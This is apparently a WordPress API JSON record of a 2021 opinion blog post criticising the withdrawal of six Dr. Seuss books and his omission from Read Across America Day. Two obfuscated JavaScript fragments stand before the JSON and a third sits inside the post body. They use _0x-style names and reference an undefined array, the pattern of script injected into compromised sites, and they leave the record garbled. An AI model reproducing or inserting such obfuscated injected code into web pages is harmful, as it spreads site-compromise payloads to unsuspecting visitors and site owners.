<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":3683,"date":"2021-03-02T18:58:38","date_gmt":"2021-03-03T01:58:38","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=3683"},"modified":"2021-03-02T18:58:40","modified_gmt":"2021-03-03T01:58:40","slug":"oh-the-thinks-you-cant-think","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=3683","title":{"rendered":"Oh, The Thinks You Can&#8217;t Think"},"content":{"rendered":"\n<figure class=\"wp-block-image is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.pinclipart.com\/picdir\/big\/128-1288848_cat-thingssnowball-thing-1-and-thing-2-cut.png\" alt=\"Cat Thingssnowball - Thing 1 And Thing 2 Cut Outs Clipart - Full Size  Clipart (#1288848) - PinClipart\"\/><\/figure>\n\n\n\n<p><em>These Things Snowball<\/em><\/p>\n\n\n\n<p>Slippery slopes may be a logical fallacy, but they are a political reality.  The latest comes courtesy of the White House and Read Across America Day.<\/p>\n\n\n\n<p>Apparently, some group or other decided that some of Dr. Seuss&#8217;s drawings had were racist.  Dr. Seuss Enterprises, which publishes his books and guards his legacy, apparently agreed concerning some of his earlier books, and will <a rel=\"noreferrer noopener\" href=\"https:\/\/abcnews.go.com\/Entertainment\/wireStory\/books-nix-books-dr-seuss-works-halted-racist-76198355#:~:text=BOSTON%20%2D%2D%20Six%20Dr.%20Seuss,the%20author's%20legacy%20said%20Tuesday.\" target=\"_blank\">cease publication of six of them<\/a>, including <span style=\"text-decoration: underline;\">And To Think That I Saw It On Mulberry Street<\/span>, and <span style=\"text-decoration: underline;\">If I Ran The Zoo<\/span>.<\/p>\n\n\n\n<p>I ran through <span style=\"text-decoration: underline;\">Mulberry<\/span>, and I have to assume this is the image they found problematic.  Remember that it&#8217;s a caricature from many decades ago, and for this, they have bowed to the Woke Mob and are ceasing publication of a book celebrating a child&#8217;s imagination:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"http:\/\/www.jsharf.com\/images\/viewPostHeaders\/MulberryStreet.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p>From there, it was on to the races, as the White House <a rel=\"noreferrer noopener\" href=\"https:\/\/nypost.com\/2021\/03\/02\/biden-removes-mention-of-dr-seuss-from-read-across-america-day\/?\" target=\"_blank\">scrubbed any mention of Dr. Seuss<\/a> from its proclamation of Read Across America Day, which &#8211; and one might think this somewhat important &#8211; is <em>celebrated on Dr. Seuss&#8217;s birthday.<\/em>  The reason is that Dr. Seuss, having somehow miraculously hacked into the brains of generations of children, is probably the single biggest contributor to childhood literacy in the history of Planet Earth.  Kids read his books, or have them read to them, and their brains catch on fire and they want to read and they want to test out their imaginations.  The current leftist administration has now exorcised him from his own day celebrating his contributions.<\/p>\n\n\n\n<p>The defenses of DSE&#8217;s actions are mostly along the lines of defending a private company&#8217;s right to do with its intellectual property as it sees fit, but that misses the point.  Nobody is saying that DSE doesn&#8217;t have the legal right to cease publication of these books if it wants.  What we&#8217;re objecting to is what comes next, because when you give the Woke Mob an inch, there&#8217;s always a what comes next.<\/p>\n\n\n\n<p>In this case, what came next was the White House joining in the fun.  Loudoun County schools in Virginia, now a wealthy suburb of DC and no longer the rural exurb it was when I lived in the area, also <a rel=\"noreferrer noopener\" href=\"https:\/\/nypost.com\/2021\/02\/28\/school-district-refuses-to-tout-dr-seuss-birthday-on-read-across-america-day\/\" target=\"_blank\">removed Dr. Seuss<\/a> from its Read Across American Day list.<\/p>\n\n\n\n<p>And it won&#8217;t stop with those six books.  You know <span style=\"text-decoration: underline;\">Cat In the Hat<\/span>, <span style=\"text-decoration: underline;\">Horton Hears a Who<\/span>, and <span style=\"text-decoration: underline;\">The Grinch<\/span> are next, although maybe the last could be saved by a role-reversal musical showing how Santa&#8217;s white supremacy drove the Grinch to #ResistChristmas, or something.<\/p>\n\n\n\n<p>What will replace these imaginative, colorful, joyful books with universal moral lessons?  Dour, doleful, bland readings about anti-racism (sic), no doubt.<\/p>\n\n\n\n<p>Impossible, you say?<\/p>\n\n\n\n<p>Well, I&#8217;m old enough to remember when it was all about statues of Robert E. Lee.  That was before my old school district decided that Thomas Jefferson and George Mason <a rel=\"noreferrer noopener\" href=\"https:\/\/www.fccps.org\/article\/363189\" target=\"_blank\">made students feel unsafe<\/a>.<\/p>\n\n\n\n<p><\/p>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script>","protected":false},"excerpt":{"rendered":"<p>These Things Snowball Slippery slopes may be a logical fallacy, but they are a political reality. The latest comes courtesy of the White House and Read Across America Day. Apparently, some group or other decided that some of Dr. Seuss&#8217;s drawings had were racist. Dr. Seuss Enterprises, which publishes his books and guards his legacy, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3683"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3683"}],"version-history":[{"count":1,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3683\/revisions"}],"predecessor-version":[{"id":3685,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/3683\/revisions\/3685"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3683"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3683"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3683"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}